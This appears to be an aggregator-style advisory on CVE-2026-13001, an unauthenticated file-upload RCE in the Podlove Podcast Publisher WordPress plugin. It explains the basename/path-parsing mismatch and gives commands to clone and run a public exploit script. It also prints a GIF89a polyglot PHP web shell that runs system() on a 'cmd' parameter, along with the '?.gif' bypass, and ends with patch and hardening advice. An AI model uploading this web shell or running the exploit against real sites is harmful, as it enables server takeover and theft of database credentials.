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CVE-2026-13001 is a critical-severity vulnerability affecting the Podlove Podcast Publisher plugin for WordPress in versions 4.5.1 and below.
The flaw enables unauthenticated remote code execution by exploiting a validation mismatch during cache file downloads.
Specifically, the internal function `is_image()` utilizes basename(), which includes query strings in its evaluation.
An attacker can append a harmless extension query parameter like `?.gif` to a malicious PHP payload, causing `is_image()` to treat the file as a valid image format.
Concurrently, the `extract_file_extension()` function parses only the URL path using php_url_path, stripping the query string entirely and accurately identifying the true extension as .php.
This dangerous discrepancy causes the application to validate the upload as a benign image while saving and storing the file on the server with an active `.php` extension.
Attackers can successfully upload polyglot files containing valid image headers followed by executable PHP code.
Once stored in the server cache directory, an unauthenticated user can directly trigger and access the uploaded script over HTTP.
Executing this payload allows complete remote code execution under the privileges of the web server user, leading to total compromise of the underlying WordPress installation, extraction of database configuration credentials, and potential pivoting into internal networks.
DailyCVE Form:
Platform: WordPress Podlove
Version: <= 4.5.1
Vulnerability: File Upload
Severity: Critical
Date: July 2026
Prediction: Patched
What Undercode Say:
To detect, analyze, and verify this vulnerability using automated toolbelts like Blitz Strike, security researchers execute specific reconnaissance and validation workflows. Below are the primary bash commands and code snippets used during the investigation of file upload flaws and path mismatches:
git clone https://github.com/shinthink/CVE-2026-13001.git cd CVE-2026-13001 pip install -r requirements.txt python cve_2026_13001.py -t target.com --verify
Exploit: (Educational Purposes!)
The exploitation sequence relies on crafting a specialized polyglot payload where the file header mimics a standard image while the body contains active server-side code. The attack payload is structured as follows:
GIF89a;
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
By appending the query string bypass (?.gif), the upload handler misinterprets the file type validation check, enabling successful remote code execution when triggered via the cache directory path.
Protection: from this CVE
To fully protect applications against CVE-2026-13001 and similar parsing discrepancies, administrators must immediately update the Podlove Podcast Publisher plugin to version 4.5.2 or later where strict extension validation and sanitization are enforced. Developers should ensure that file type verification functions uniformly utilize strict path parsing libraries rather than relying on raw `basename()` calls or insecure query string handling. Additionally, disabling direct execution permissions inside upload and cache directories via web server configuration directives provides an essential defense-in-depth layer against malicious script execution.
Impact:
Successful exploitation of CVE-2026-13001 grants an unauthenticated remote attacker full command execution capabilities with the permissions of the web server daemon. This enables unauthorized actors to read sensitive configuration files including wp-config.php, dump database contents, harvest administrator session tokens, inject persistent backdoors, and launch further pivoting attacks across connected internal network segments.
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Sources:
Reported By: github.com
Extra Source Hub:
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